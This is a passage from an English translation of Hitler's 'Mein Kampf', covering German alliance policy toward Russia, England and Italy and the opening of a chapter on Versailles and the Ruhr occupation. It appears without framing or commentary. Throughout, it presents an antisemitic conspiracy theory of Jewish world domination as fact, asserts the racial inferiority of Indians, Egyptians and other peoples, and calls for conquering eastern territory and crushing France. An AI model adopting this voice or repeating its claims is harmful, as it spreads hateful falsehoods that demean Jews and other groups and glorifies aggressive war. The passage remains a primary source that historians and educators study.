the Russia of that time. Bismarck +never laid down a policy which would be permanently binding under all +circumstances and should be adhered to on principle. He was too much the +master of the moment to burden himself with that kind of obligation. +Therefore, the question ought not to be what Bismarck then did, but +rather what he would do to-day. And that question is very easy to +answer. His political sagacity would never allow him to ally himself +with a State that is doomed to disappear. + +Moreover, Bismarck looked upon the colonial and trade policy of his time +with mixed feelings, because what he most desired was to assure the best +possibilities of consolidating and internally strengthening the state +system which he himself had created. That was the sole ground on which +he then welcomed the Russian defence in his rear, so as to give him a +free hand for his activities in the West. But what was advantageous then +to Germany would now be detrimental. + +As early as 1920-21, when the young movement began slowly to appear on +the political horizon and movements for the liberation of the German +nation were formed here and there, the Party was approached from various +quarters in an attempt to bring it into definite connection with the +liberationist movements in other countries. This was in line with the +plans of the 'League of Oppressed Nations', which had been advertised in +many quarters and was composed principally of representatives of some of +the Balkan States and also of Egypt and India. These always impressed me +as charlatans who gave themselves big airs but had no real background at +all. Not a few Germans, however, especially in the nationalist camp, +allowed themselves to be taken in by these pompous Orientals, and in the +person of some wandering Indian or Egyptian student they believed at +once that they were face to face with a 'representative' of India or +Egypt. They did not realize that in most cases they were dealing with +persons who had no backing whatsoever, who were not authorized by +anybody to conclude any sort of agreement whatsoever; so that the +practical result of every negotiation with such individuals was negative +and the time spent in such dealings had to be reckoned as utterly lost. +I was always on my guard against these attempts. Not only that I had +something better to do than to waste weeks in such sterile +'discussions', but also because I believed that even if one were dealing +with genuine representatives that whole affair would be bound to turn +out futile, if not positively harmful. + +In peace-time it was already lamentable enough that the policy of +alliances, because it had no active and aggressive aims in view, ended +in a defensive association with antiquated States that had been +pensioned off by the history of the world. The alliance with Austria, as +well as that with Turkey, was not much to be joyful about. While the +great military and industrial States of the earth had come together in a +league for purposes of active aggression, a few old and effete States +were collected, and with this antique bric-à-brac an attempt was made to +face an active world coalition. Germany had to pay dearly for that +mistaken foreign policy and yet not dearly enough to prevent our +incorrigible visionaries from falling back into the same error again. +For the attempt to make possible the disarmament of the all-powerful +victorious States through a 'League of Oppressed Nations' is not only +ridiculous but disastrous. It is disastrous because in that way the +German people are again being diverted from real possibilities, which +they abandon for the sake of fruitless hopes and illusions. In reality +the German of to-day is like a drowning man that clutches at any straw +which may float beside him. And one finds people doing this who are +otherwise highly educated. Wherever some will-o'-the-wisp of a fantastic +hope appears these people set off immediately to chase it. Let this be a +League of Oppressed Nations, a League of Nations, or some other +fantastic invention, thousands of ingenuous souls will always be found +to believe in it. + +I remember well the childish and incomprehensible hopes which arose +suddenly in nationalist circles in the years 1920-21 to the effect that +England was just nearing its downfall in India. A few Asiatic +mountebanks, who put themselves forward as "the champions of Indian +Freedom", then began to peregrinate throughout Europe and succeeded in +inspiring otherwise quite reasonable people with the fixed notion that +the British World Empire, which had its pivot in India, was just about +to collapse there. They never realized that their own wish was the +father of all these ideas. Nor did they stop to think how absurd their +wishes were. For inasmuch as they expected the end of the British Empire +and of England's power to follow the collapse of its dominion over +India, they themselves admitted that India was of the most outstanding +importance for England. + +Now in all likelihood the deep mysteries of this most important problem +must have been known not only to the German-National prophets but also +to those who had the direction of British history in their hands. It is +right down puerile to suppose that in England itself the importance of +India for the British Empire was not adequately appreciated. And it is a +proof of having learned nothing from the world war and of thoroughly +misunderstanding or knowing nothing about Anglo-Saxon determination, +when they imagine that England could lose India without first having put +forth the last ounce of her strength in the struggle to hold it. +Moreover, it shows how complete is the ignorance prevailing in Germany +as to the manner in which the spirit of England permeates and +administers her Empire. England will never lose India unless she admits +racial disruption in the machinery of her administration (which at +present is entirely out of the question in India) or unless she is +overcome by the sword of some powerful enemy. But Indian risings will +never bring this about. We Germans have had sufficient experience to +know how hard it is to coerce England. And, apart from all this, I as a +German would far rather see India under British domination than under +that of any other nation. + +The hopes of an epic rising in Egypt were just as chimerical. The 'Holy +War' may bring the pleasing illusion to our German nincompoops that +others are now ready to shed their blood for them. Indeed, this cowardly +speculation is almost always the father of such hopes. But in reality +the illusion would soon be brought to an end under the fusillade from a +few companies of British machine-guns and a hail of British bombs. + +A coalition of cripples cannot attack a powerful State which is +determined, if necessary, to shed the last drop of its blood to maintain +its existence. To me, as a nationalist who appreciates the worth of the +racial basis of humanity, I must recognize the racial inferiority of the +so-called 'Oppressed Nations', and that is enough to prevent me from +linking the destiny of my people with the destiny of those inferior +races. + +To-day we must take up the same sort of attitude also towards Russia. +The Russia of to-day, deprived of its Germanic ruling class, is not a +possible ally in the struggle for German liberty, setting aside entirely +the inner designs of its new rulers. From the purely military viewpoint +a Russo-German coalition waging war against Western Europe, and probably +against the whole world on that account, would be catastrophic for us. +The struggle would have to be fought out, not on Russian but on German +territory, without Germany being able to receive from Russia the +slightest effective support. The means of power at the disposal of the +present German REICH are so miserable and so inadequate to the waging of +a foreign war that it would be impossible to defend our frontiers +against Western Europe, England included. And the industrial area of +Germany would have to be abandoned undefended to the concentrated attack +of our adversaries. It must be added that between Germany and Russia +there is the Polish State, completely in the hands of the French. In +case Germany and Russia together should wage war against Western Europe, +Russia would have to overthrow Poland before the first Russian soldier +could arrive on the German front. But it is not so much a question of +soldiers as of technical equipment. In this regard we should have our +situation in the world war repeated, but in a more terrible manner. At +that time German industry had to be drained to help our glorious allies, +and from the technical side Germany had to carry on the war almost +alone. In this new hypothetical war Russia, as a technical factor, would +count for nothing. We should have practically nothing to oppose to the +general motorization of the world, which in the next war will make its +appearance in an overwhelming and decisive form. In this important field +Germany has not only shamefully lagged behind, but with the little it +has it would have to reinforce Russia, which at the present moment does +not possess a single factory capable of producing a motor gun-wagon. +Under such conditions the presupposed coming struggle would assume the +character of sheer slaughter. The German youth would have to shed more +of its blood than it did even in the world war; for, as always, the +honour of fighting will fall on us alone, and the result would be an +inevitable catastrophe. But even admitting that a miracle were produced +and that this war did not end in the total annihilation of Germany, the +final result would be that the German nation would be bled white, and, +surrounded by great military States, its real situation would be in no +way ameliorated. + +It is useless to object here that in case of an alliance with Russia we +should not think of an immediate war or that, anyhow, we should have +means of making thorough preparations for war. No. An alliance which is +not for the purpose of waging war has no meaning and no value. Even +though at the moment when an alliance is concluded the prospect of war +is a distant one, still the idea of the situation developing towards war +is the profound reason for entering into an alliance. It is out of the +question to think that the other Powers would be deceived as to the +purpose of such an alliance. A Russo-German coalition would remain +either a matter of so much paper--and in this case it would have no +meaning for us--or the letter of the treaty would be put into practice +visibly, and in that case the rest of the world would be warned. It +would be childish to think that in such circumstances England and France +would wait for ten years to give the Russo-German alliance time to +complete its technical preparations. No. The storm would break over +Germany immediately. + +Therefore the fact of forming an alliance with Russia would be the +signal for a new war. And the result of that would be the end of +Germany. + +To these considerations the following must be added: + +(1) Those who are in power in Russia to-day have no idea of forming an +honourable alliance or of remaining true to it, if they did. + +It must never be forgotten that the present rulers of Russia are +blood-stained criminals, that here we have the dregs of humanity which, +favoured by the circumstances of a tragic moment, overran a great State, +degraded and extirpated millions of educated people out of sheer +blood-lust, and that now for nearly ten years they have ruled with such +a savage tyranny as was never known before. It must not be forgotten +that these rulers belong to a people in whom the most bestial cruelty is +allied with a capacity for artful mendacity and believes itself to-day +more than ever called to impose its sanguinary despotism on the rest of +the world. It must not be forgotten that the international Jew, who is +to-day the absolute master of Russia, does not look upon Germany as an +ally but as a State condemned to the same doom as Russia. One does not +form an alliance with a partner whose only aim is the destruction of his +fellow-partner. Above all, one does not enter into alliances with people +for whom no treaty is sacred; because they do not move about this earth +as men of honour and sincerity but as the representatives of lies and +deception, thievery and plunder and robbery. The man who thinks that he +can bind himself by treaty with parasites is like the tree that believes +it can form a profitable bargain with the ivy that surrounds it. + +(2) The menace to which Russia once succumbed is hanging steadily over +Germany. Only a bourgeois simpleton could imagine that Bolshevism can be +tamed. In his superficial way of thinking he does not suspect that here +we are dealing with a phenomenon that is due to an urge of the blood: +namely, the aspiration of the Jewish people to become the despots of the +world. That aspiration is quite as natural as the impulse of the +Anglo-Saxon to sit in the seats of rulership all over the earth. And as +the Anglo-Saxon chooses his own way of reaching those ends and fights +for them with his characteristic weapons, so also does the Jew. The Jew +wriggles his way in among the body of the nations and bores them hollow +from inside. The weapons with which he works are lies and calumny, +poisonous infection and disintegration, until he has ruined his hated +adversary. In Russian Bolshevism we ought to recognize the kind of +attempt which is being made by the Jew in the twentieth century to +secure dominion over the world. In other epochs he worked towards the +same goal but with different, though at bottom similar, means. The kind +of effort which the Jew puts forth springs from the deepest roots in the +nature of his being. A people does not of itself renounce the impulse to +increase its stock and power. Only external circumstances or senile +impotence can force them to renounce this urge. In the same way the Jew +will never spontaneously give up his march towards the goal of world +dictatorship or repress his external urge. He can be thrown back on his +road only by forces that are exterior to him, for his instinct towards +world domination will die out only with himself. The impotence of +nations and their extinction through senility can come only when their +blood has remained no longer pure. And the Jewish people preserve the +purity of their blood better than any other nation on earth. Therefore +the Jew follows his destined road until he is opposed by a force +superior to him. And then a desperate struggle takes place to send back +to Lucifer him who would assault the heavens. + +To-day Germany is the next battlefield for Russian Bolshevism. All the +force of a fresh missionary idea is needed to raise up our nation once +more, to rescue it from the coils of the international serpent and stop +the process of corruption which is taking place in the internal +constitution of our blood; so that the forces of our nation, once +liberated, may be employed to preserve our nationality and prevent the +repetition of the recent catastrophe from taking place even in the most +distant future. If this be the goal we set to ourselves it would be +folly to ally ourselves with a country whose master is the mortal enemy +of our future. How can we release our people from this poisonous grip if +we accept the same grip ourselves? How can we teach the German worker +that Bolshevism is an infamous crime against humanity if we ally +ourselves with this infernal abortion and recognize its existence as +legitimate. With what right shall we condemn the members of the broad +masses whose sympathies lie with a certain WELTANSCHAUUNG if the rulers +of our State choose the representatives of that WELTANSCHAUUNG as their +allies? The struggle against the Jewish Bolshevization of the world +demands that we should declare our position towards Soviet Russia. We +cannot cast out the Devil through Beelzebub. If nationalist circles +to-day grow enthusiastic about the idea of an alliance with Bolshevism, +then let them look around only in Germany and recognize from what +quarter they are being supported. Do these nationalists believe that a +policy which is recommended and acclaimed by the Marxist international +Press can be beneficial for the German people? Since when has the Jew +acted as shield-bearer for the militant nationalist? + +One special reproach which could be made against the old German REICH +with regard to its policy of alliances was that it spoiled its relations +towards all others by continually swinging now this way and now that way +and by its weakness in trying to preserve world peace at all costs. But +one reproach which cannot be made against it is that it did not continue +to maintain good relations with Russia. + +I admit frankly that before the War I thought it would have been better +if Germany had abandoned her senseless colonial policy and her naval +policy and had joined England in an alliance against Russia, therewith +renouncing her weak world policy for a determined European policy, with +the idea of acquiring new territory on the Continent. I do not forget +the constant insolent threats which Pan-Slavist Russia made against +Germany. I do not forget the continual trial mobilizations, the sole +object of which was to irritate Germany. I cannot forget the tone of +public opinion in Russia which in pre-War days excelled itself in +hate-inspired outbursts against our nation and REICH. Nor can I forget +the big Russian Press which was always more favourable to France than to +us. + +But, in spite of everything, there was still a second way possible +before the War. We might have won the support of Russia and turned +against England. Circumstances are entirely different to-day. If, before +the War, throwing all sentiment to the winds, we could have marched by +the side of Russia, that is no longer possible for us to-day. Since then +the hand of the world-clock has moved forward. The hour has struck and +struck loudly, when the destiny of our people must be decided one way or +another. + +The present consolidation of the great States of the world is the last +warning signal for us to look to ourselves and bring our people back +from their land of visions to the land of hard truth and point the way +into the future, on which alone the old REICH can march triumphantly +once again. + +If, in view of this great and most important task placed before it, the +National Socialist Movement sets aside all illusions and takes reason as +its sole effective guide the catastrophe of 1918 may turn out to be an +infinite blessing for the future of our nation. From the lesson of that +collapse it may formulate an entirely new orientation for the conduct of +its foreign policy. Internally reinforced through its new +WELTANSCHAUUNG, the German nation may reach a final stabilization of +its policy towards the outside world. It may end by gaining what England +has, what even Russia had, and what France again and again utilized as +the ultimate grounds on which she was able to base correct decisions for +her own interests: namely, A Political Testament. Political Testament of +the German Nation ought to lay down the following rules, which will be +always valid for its conduct towards the outside world: + +Never permit two Continental Powers to arise in Europe. Should any +attempt be made to organize a second military Power on the German +frontier by the creation of a State which may become a Military Power, +with the prospect of an aggression against Germany in view, such an +event confers on Germany not only the right but the duty to prevent by +every means, including military means, the creation of such a State and +to crush it if created. See to it that the strength of our nation does +not rest on colonial foundations but on those of our own native +territory in Europe. Never consider the REICH secure unless, for +centuries to come, it is in a position to give every descendant of our +race a piece of ground and soil that he can call his own. Never forget +that the most sacred of all rights in this world is man's right to the +earth which he wishes to cultivate for himself and that the holiest of +all sacrifices is that of the blood poured out for it. + +I should not like to close this chapter without referring once again to +the one sole possibility of alliances that exists for us in Europe at +the present moment. In speaking of the German alliance problem in the +present chapter I mentioned England and Italy as the only countries with +which it would be worth while for us to strive to form a close alliance +and that this alliance would be advantageous. I should like here to +underline again the military importance of such an alliance. + +The military consequences of forming this alliance would be the direct +opposite of the consequences of an alliance with Russia. Most important +of all is the fact that a RAPPROCHEMENT with England and Italy would in +no way involve a danger of war. The only Power that could oppose such an +arrangement would be France; and France would not be in a position to +make war. But the alliance should allow to Germany the possibility of +making those preparations in all tranquillity which, within the +framework of such a coalition, might in one way or another be requisite +in view of a regulation of accounts with France. For the full +significance of such an alliance lies in the fact that on its conclusion +Germany would no longer be subject to the threat of a sudden invasion. +The coalition against her would disappear automatically; that is to say, +the Entente which brought such disaster to us. Thus France, the mortal +enemy of our people, would be isolated. And even though at first this +success would have only a moral effect, it would be sufficient to give +Germany such liberty of action as we cannot now imagine. For the new +Anglo-German-Italian alliance would hold the political initiative and no +longer France. + +A further success would be that at one stroke Germany would be delivered +from her unfavourable strategical situation. On the one side her flank +would be strongly protected; and, on the other, the assurance of being +able to import her foodstuffs and raw materials would be a beneficial +result of this new alignment of States. But almost of greater importance +would be the fact that this new League would include States that possess +technical qualities which mutually supplement each other. For the first +time Germany would have allies who would not be as vampires on her +economic body but would contribute their part to complete our technical +equipment. And we must not forget a final fact: namely, that in this +case we should not have allies resembling Turkey and Russia to-day. The +greatest World Power on this earth and a young national State would +supply far other elements for a struggle in Europe than the putrescent +carcasses of the States with which Germany was allied in the last war. + +As I have already said, great difficulties would naturally be made to +hinder the conclusion of such an alliance. But was not the formation of +the Entente somewhat more difficult? Where King Edward VII succeeded +partly against interests that were of their nature opposed to his work +we must and will succeed, if the recognition of the necessity of such a +development so inspires us that we shall be able to act with skill and +conquer our own feelings in carrying the policy through. This will be +possible when, incited to action by the miseries of our situation, we +shall adopt a definite purpose and follow it out systematically instead +of the defective foreign policy of the last decades, which never had a +fixed purpose in view. + +The future goal of our foreign policy ought not to involve an +orientation to the East or the West, but it ought to be an Eastern +policy which will have in view the acquisition of such territory as is +necessary for our German people. To carry out this policy we need that +force which the mortal enemy of our nation, France, now deprives us of +by holding us in her grip and pitilessly robbing us of our strength. +Therefore we must stop at no sacrifice in our effort to destroy the +French striving towards hegemony over Europe. As our natural ally to-day +we have every Power on the Continent that feels France's lust for +hegemony in Europe unbearable. No attempt to approach those Powers ought +to appear too difficult for us, and no sacrifice should be considered +too heavy, if the final outcome would be to make it possible for us to +overthrow our bitterest enemy. The minor wounds will be cured by the +beneficent influence of time, once the ground wounds have been +cauterized and closed. + +Naturally the internal enemies of our people will howl with rage. But +this will not succeed in forcing us as National Socialists to cease our +preaching in favour of that which our most profound conviction tells us +to be necessary. We must oppose the current of public opinion which will +be driven mad by Jewish cunning in exploiting our German +thoughtlessness. The waves of this public opinion often rage and roar +against us; but the man who swims with the current attracts less +attention than he who buffets it. To-day we are but a rock in the river. +In a few years Fate may raise us up as a dam against which the general +current will be broken, only to flow forward in a new bed. Therefore it +is necessary that in the eyes of the rest of the world our movement +should be recognized as representing a definite and determined political +programme. We ought to bear on our visors the distinguishing sign of +that task which Heaven expects us to fulfil. + +When we ourselves are fully aware of the ineluctable necessity which +determines our external policy this knowledge will fill us with the grit +which we need in order to stand up with equanimity under the bombardment +launched against us by the enemy Press and to hold firm when some +insinuating voice whispers that we ought to give ground here and there +in order not to have all against us and that we might sometimes howl +with the wolves. + + + + +CHAPTER XV + + + +THE RIGHT TO SELF-DEFENCE + + +After we had laid down our arms, in November 1918, a policy was adopted +which in all human probability was bound to lead gradually to our +complete subjugation. Analogous examples from history show that those +nations which lay down their arms without being absolutely forced to do +so subsequently prefer to submit to the greatest humiliations and +exactions rather than try to change their fate by resorting to arms +again. + +That is intelligible on purely human grounds. A shrewd conqueror will +always enforce his exactions on the conquered only by stages, as far as +that is possible. Then he may expect that a people who have lost all +strength of character--which is always the case with every nation that +voluntarily submits to the threats of an opponent--will not find in any +of these acts of oppression, if one be enforced apart from the other, +sufficient grounds for taking up arms again. The more numerous the +extortions thus passively accepted so much the less will resistance +appear justified in the eyes of other people, if the vanquished nation +should end by revolting against the last act of oppression in a long +series. And that is specially so if the nation has already patiently and +silently accepted impositions which were much more exacting. + +The fall of Carthage is a terrible example of the slow agony of a people +which ended in destruction and which was the fault of the people +themselves. + +In his THREE ARTICLES OF FAITH Clausewitz expressed this idea admirably +and gave it a definite form when he said: "The stigma of shame incurred +by a cowardly submission can never be effaced. The drop of poison which +thus enters the blood of a nation will be transmitted to posterity. It +will undermine and paralyse the strength of later generations." But, on +the contrary, he added: "Even the loss of its liberty after a sanguinary +and honourable struggle assures the resurgence of the nation and is the +vital nucleus from which one day a new tree can draw firm roots." + +Naturally a nation which has lost all sense of honour and all strength +of character will not feel the force of such a doctrine. But any nation +that takes it to heart will never fall very low. Only those who forget +it or do not wish to acknowledge it will collapse. Hence those +responsible for a cowardly submission cannot be expected suddenly to +take thought with themselves, for the purpose of changing their former +conduct and directing it in the way pointed out by human reason and +experience. On the contrary, they will repudiate such a doctrine, until +the people either become permanently habituated to the yoke of slavery +or the better elements of the nation push their way into the foreground +and forcibly take power away from the hands of an infamous and corrupt +regime. In the first case those who hold power will be pleased with the +state of affairs, because the conquerors often entrust them with the +task of supervising the slaves. And these utterly characterless beings +then exercise that power to the detriment of their own people, more +cruelly than the most cruel-hearted stranger that might be nominated by +the enemy himself. + +The events which happened subsequent to 1918 in Germany prove how the +hope of securing the clemency of the victor by making a voluntary +submission had the most disastrous influence on the political views and +conduct of the broad masses. I say the broad masses explicitly, because +I cannot persuade myself that the things which were done or left undone +by the leaders of the people are to be attributed to a similar +disastrous illusion. Seeing that the direction of our historical destiny +after the war was now openly controlled by the Jews, it is impossible to +admit that a defective knowledge of the state of affairs was the sole +cause of our misfortunes. On the contrary, the conclusion that must be +drawn from the facts is that our people were intentionally driven to +ruin. If we examine it from this point of view we shall find that the +direction of the nation's foreign policy was not so foolish as it +appeared; for on scrutinizing the matter closely we see clearly that +this conduct was a procedure which had been calmly calculated, shrewdly +defined and logically carried out in the service of the Jewish idea and +the Jewish endeavour to secure the mastery of the world. + +From 1806 to 1813 Prussia was in a state of collapse. But that period +sufficed to renew the vital energies of the nation and inspire it once +more with a resolute determination to fight. An equal period of time has +passed over our heads from 1918 until to-day, and no advantage has been +derived from it. On the contrary, the vital strength of our State has +been steadily sapped. + +Seven years after November 1918 the Locarno Treaty was signed. + +Thus the development which took place was what I have indicated above. +Once the shameful Armistice had been signed our people were unable to +pluck up sufficient courage and energy to call a halt suddenly to the +conduct of our adversary as the oppressive measures were being +constantly renewed. The enemy was too shrewd to put forward all his +demands at once. He confined his duress always to those exactions which, +in his opinion and that of our German Government, could be submitted to +for the moment: so that in this way they did not risk causing an +explosion of public feeling. But according as the single impositions +were increasingly subscribed to and tolerated it appeared less +justifiable to do now in the case of one sole imposition or act of +duress what had not been previously done in the case of so many others, +namely, to oppose it. That is the 'drop of poison' of which Clausewitz +speaks. Once this lack of character is manifested the resultant +condition becomes steadily aggravated and weighs like an evil +inheritance on all future decisions. It may become as a leaden weight +around the nation's neck, which cannot be shaken off but which forces it +to drag out its existence in slavery. + +Thus, in Germany, edicts for disarmament and oppression and economic +plunder followed one after the other, making us politically helpless. +The result of all this was to create that mood which made so many look +upon the Dawes Plan as a blessing and the Locarno Treaty as a success. +From a higher point of view we may speak of one sole blessing in the +midst of so much misery. This blessing is that, though men may be +fooled, Heaven can't be bribed. For Heaven withheld its blessing. Since +that time Misery and Anxiety have been the constant companions of our +people, and Distress is the one Ally that has remained loyal to us. In +this case also Destiny has made no exceptions. It has given us our +deserts. Since we did not know how to value honour any more, it has +taught us to value the liberty to seek for bread. Now that the nation +has learned to cry for bread, it may one day learn to pray for freedom. + +The collapse of our nation in the years following 1918 was bitter and +manifest. And yet that was the time chosen to persecute us in the most +malicious way our enemies could devise, so that what happened afterwards +could have been foretold by anybody then. The government to which our +people submitted was as hopelessly incompetent as it was conceited, and +this was especially shown in repudiating those who gave any warning that +disturbed or displeased. Then we saw--and to-day also--the greatest +parliamentary nincompoops, really common saddlers and glove-makers--not +merely by trade, for that would signify very little--suddenly raised to +the rank of statesmen and sermonizing to humble mortals from that +pedestal. It did not matter, and it still does not matter, that such a +'statesman', after having displayed his talents for six months or so as +a mere windbag, is shown up for what he is and becomes the object of +public raillery and sarcasm. It does not matter that he has given the +most evident proof of complete incompetency. No. That does not matter at +all. On the contrary, the less real service the parliamentary statesmen +of this Republic render the country, the more savagely they persecute +all who expect that parliamentary deputies should show some positive +results of their activities. And they persecute everybody who dares to +point to the failure of these activities and predict similar failures +for the future. If one finally succeeds in nailing down one of these +parliamentarians to hard facts, so that this political artist can no +longer deny the real failure of his whole action and its results, then +he will find thousands of grounds for excuse, but will in no way admit +that he himself is the chief cause of the evil. + +In the winter of 1922-23, at the latest, it ought to have been generally +recognized that, even after the conclusion of peace, France was still +endeavouring with iron consistency to attain those ends which had been +originally envisaged as the final purpose of the War. For nobody could +think of believing that for four and a half years France continued to +pour out the not abundant supply of her national blood in the most +decisive struggle throughout all her history in order subsequently to +obtain compensation through reparations for the damages sustained. Even +Alsace and Lorraine, taken by themselves, would not account for the +energy with which the French conducted the War, if Alsace-Lorraine were +not already considered as a part of the really vast programme which +French foreign policy had envisaged for the future. The aim of that +programme was: Disintegration of Germany into a collection of small +states. It was for this that Chauvinist France waged war; and in doing +so she was in reality selling her people to be the serfs of the +international Jew. + +French war aims would have been obtained through the World War if, as +was originally hoped in Paris, the struggle had been carried out on +German soil. Let us imagine the bloody battles of the World War not as +having taken place on the Somme, in Flanders, in Artois, in front of +Warsaw, Nizhni-Novogorod, Kowno, and Riga but in Germany, in the Ruhr or +on the Maine, on the Elbe, in front of Hanover, Leipzig, Nürnberg, etc. +If such happened, then we must admit that the destruction of Germany +might have been accomplished. It is very much open to question if our +young federal State could have borne the hard struggle for four and a +half years, as it was borne by a France that had been centralized for +centuries, with the whole national imagination focused on Paris. If this +titanic conflict between the nations developed outside the frontiers of +our fatherland, not only is all the merit due to the immortal service +rendered by our old army but it was also very fortunate for the future +of Germany. I am fully convinced that if things had taken a different +course there would no longer be a German REICH to-day but only 'German +States'. And that is the only reason why the blood which was shed by our +friends and brothers in the War was at least not shed in vain. + +The course which events took was otherwise. In November 1918 Germany did +indeed collapse with lightning suddenness. But when the catastrophe took +place at home the armies under the Commander-in-Chief were still deep in +the enemy's country. At that time France's first preoccupation was not +the dismemberment of Germany but the problem of how to get the German +armies out of France and Belgium as quickly as possible. And so, in +order to put an end to the War, the first thing that had to be done by +the Paris Government was to disarm the German armies and push them back +into Germany if possible. Until this was done the French could not +devote their attention to carrying out their own particular and original +war aims. As far as concerned England, the War was really won when +Germany was destroyed as a colonial and commercial Power and was reduced +to the rank of a second-class State. It was not in England's interest to +wipe out the German State altogether. In fact, on many grounds it was +desirable for her to have a future rival against France in Europe. +Therefore French policy was forced to carry on by peaceful means the +work for which the War had opened the way; and Clemenceau's statement, +that for him Peace was merely a continuation of the War, thus acquired +an enhanced significance. + +Persistently and on every opportunity that arose, the effort to +dislocate the framework of the REICH was to have been carried on. By +perpetually sending new notes that demanded disarmament, on the one +hand, and by the imposition of economic levies which, on the other hand, +could be carried out as the process of disarmament progressed, it was +hoped in Paris that the framework of the REICH would gradually fall to +pieces. The more the Germans lost their sense of national honour the +more could economic pressure and continued economic distress be +effective as factors of political destruction. Such a policy of +political oppression and economic exploitation, carried out for ten or +twenty years, must in the long run steadily ruin the most compact +national body and, under certain circumstances, dismember it. Then the +French war aims would have been definitely attained. + +By the winter of 1922-23 the intentions of the French must already have +been known for a long time back. There remained only two possible ways +of confronting the situation. If the German national body showed itself +sufficiently tough-skinned, it might gradually blunt the will of the +French or it might do--once and for all--what was bound to become +inevitable one day: that is to say, under the provocation of some +particularly brutal act of oppression it could put the helm of the +German ship of state to roundabout and ram the enemy. That would +naturally involve a life-and-death-struggle. And the prospect of coming +through the struggle alive depended on whether France could be so far +isolated that in this second battle Germany would not have to fight +against the whole world but in defence of Germany against a France that +was persistently disturbing the peace of the world. + +I insist on this point, and I am profoundly convinced of it, namely, +that this second alternative will one day be chosen and will have to be +chosen and carried out in one way or another. I shall never believe that +France will of herself alter her intentions towards us, because, in the +last analysis, they are only the expression of the French instinct for +self-preservation. Were I a Frenchman and were the greatness of France +so dear to me as that of Germany actually is, in the final reckoning I +could not and would not act otherwise than a Clemenceau. The French +nation, which is slowly dying out, not so much through depopulation as +through the progressive disappearance of the best elements of the race, +can continue to play an important role in the world only if Germany be +destroyed. French policy may make a thousand detours on the march +towards its fixed goal, but the destruction of Germany is the end which +it always has in view as the fulfilment of the most profound yearning +and ultimate intentions of the French. Now it is a mistake to believe +that if the will on one side should remain only PASSIVE and intent on +its own self-preservation it can hold out permanently against another +will which is not less forceful but is ACTIVE. As long as the eternal +conflict between France and Germany is waged only in the form of a +German defence against the French attack, that conflict can never be +decided; and from century to century Germany will lose one position +after another. If we study the changes that have taken place, from the +twelfth century up to our day, in the frontiers within which the German +language is spoken, we can hardly hope for a successful issue to result +from the acceptance and development of a line of conduct which has +hitherto been so detrimental for us. + +Only when the Germans have taken all this fully into account will they +cease from allowing the national will-to-life to wear itself out in +merely passive defence, but they will rally together for a last decisive +contest with France. And in this contest the essential objective of the +German nation will be fought for. Only then will it be possible to put +an end to the eternal Franco-German conflict which has hitherto proved +so sterile. Of course it is here presumed that Germany sees in the +suppression of France nothing more than a means which will make it +possible for our people finally to expand in another quarter. To-day +there are eighty million Germans in Europe. And our foreign policy will +be recognized as rightly conducted only when, after barely a hundred +years, there will be 250 million Germans living on this Continent, not +packed together as the coolies in the factories of another Continent but +as tillers of the soil and workers whose labour will be a mutual +assurance for their existence. + +In December 1922 the situation between Germany and France assumed a +particularly threatening aspect. France had new and vast oppressive +measures in view and needed sanctions for her conduct. Political +pressure had to precede the economic plunder, and the French believed +that only by making a violent attack against the central nervous system +of German life would they be able to make our 'recalcitrant' people bow +to their galling yoke. By the occupation of the Ruhr District, it was +hoped in France that not only would the moral backbone of Germany be +broken finally but that we should be reduced to such a grave economic +condition that we should be forced, for weal or woe, to subscribe to the +heaviest possible obligations. + +It was a question of bending and breaking Germany. At first Germany bent +and subsequently broke in pieces completely. + +Through the occupation of the Ruhr, Fate once more reached out its hand +to the German people and bade them arise. For what at first appeared as +a heavy stroke of misfortune was found, on closer examination, to +contain extremely encouraging possibilities of bringing Germany's +sufferings to an end. + +As regards foreign politics, the action of France in occupying the Ruhr +really estranged England for the first time in quite a profound way. +Indeed it estranged not merely British diplomatic circles, which had +concluded the French alliance and had upheld it from motives of calm and +objective calculation, but it also estranged large sections of the +English nation. The English business world in particular scarcely +concealed the displeasure it felt at this incredible forward step in +strengthening the power of France on the Continent. From the military +standpoint alone France now assumed a position in Europe such as Germany +herself had not held previously. Moreover, France thus obtained control +over economic resources which practically gave her a monopoly that +consolidated her political and commercial strength against all +competition. The most important iron and coal mines of Europe were now +united in the hand of one nation which, in contrast to Germany, had +hitherto defended her vital interests in an active and resolute fashion +and whose military efficiency in the Great War was still fresh in the +memories of the whole world. The French occupation of the Ruhr coal +field deprived England of all the successes she had gained in the War. +And the victors were now Marshal Foch and the France he represented, no +longer the calm and painstaking British statesmen. + +In Italy also the attitude towards France, which had not been very +favourable since the end of the War, now became positively hostile. The +great historic moment had come when the Allies of yesterday might become +the enemies of to-morrow. If things happened otherwise and if the Allies +did not suddenly come into conflict with one another, as in the Second +Balkan War, that was due to the fact that Germany had no Enver Pasha but +merely a Cuno as Chancellor of the REICH. + +Nevertheless, the French invasion of the Ruhr opened up great +possibilities for the future not only in Germany's foreign politics but +also in her internal politics. A considerable section of our people who, +thanks to the persistent influence of a mendacious Press, had looked +upon France as the champion of progress and liberty, were suddenly cured +of this illusion. In 1914 the dream of international solidarity suddenly +vanished from the brain of our German working class. They were brought +back into the world of everlasting struggle, where one creature feeds on +the other and where the death of the weaker implies the life of the +stronger. The same thing happened in the spring of 1923. + +When the French put their threats into effect and penetrated, at first +hesitatingly and cautiously, into the coal-basin of Lower Germany the +hour of destiny had struck for Germany. It was a great and decisive +moment. If at that moment our people had changed not only their frame of +mind but also their conduct the German Ruhr District could have been +made for France what Moscow turned out to be for Napoleon. Indeed, there +were only two possibilities: either to leave this move also to take its +course and do nothing or to turn to the German people in that region of +sweltering forges and flaming furnaces. An effort might have been made +to set their wills afire with determination to put an end to this +persistent disgrace and to face a momentary terror rather than submit to +a terror that was endless. + +Cuno, who was then Chancellor of the REICH, can claim the immortal merit +of having discovered a third way; and our German bourgeois political +parties merit the still more glorious honour of having admired him and +collaborated with him. + +Here I shall deal with the second way as briefly as possible. + +By occupying the Ruhr France committed a glaring violation of the +Versailles Treaty. Her action brought her into conflict with several of +the guarantor Powers, especially with England and Italy. She could no +longer hope that those States would back her up in her egotistic act of +brigandage. She could count only on her own forces to reap anything like +a positive result from that adventure, for such it was at the start. For +a German National Government there was only one possible way left open. +And this was the way which honour prescribed. Certainly at the beginning +we could not have opposed France with an active armed resistance. But it +should have been clearly recognized that any negotiations which did not +have the argument of force to back them up would turn out futile and +ridiculous. If it were not possible to organize an active resistance, +then it was absurd to take up the standpoint: "We shall not enter into +any negotiations." But it was still more absurd finally to enter into +negotiations without having organized the necessary force as a support. + +Not that it was possible for us by military means to prevent the +occupation of the Ruhr. Only a madman could have recommended such a 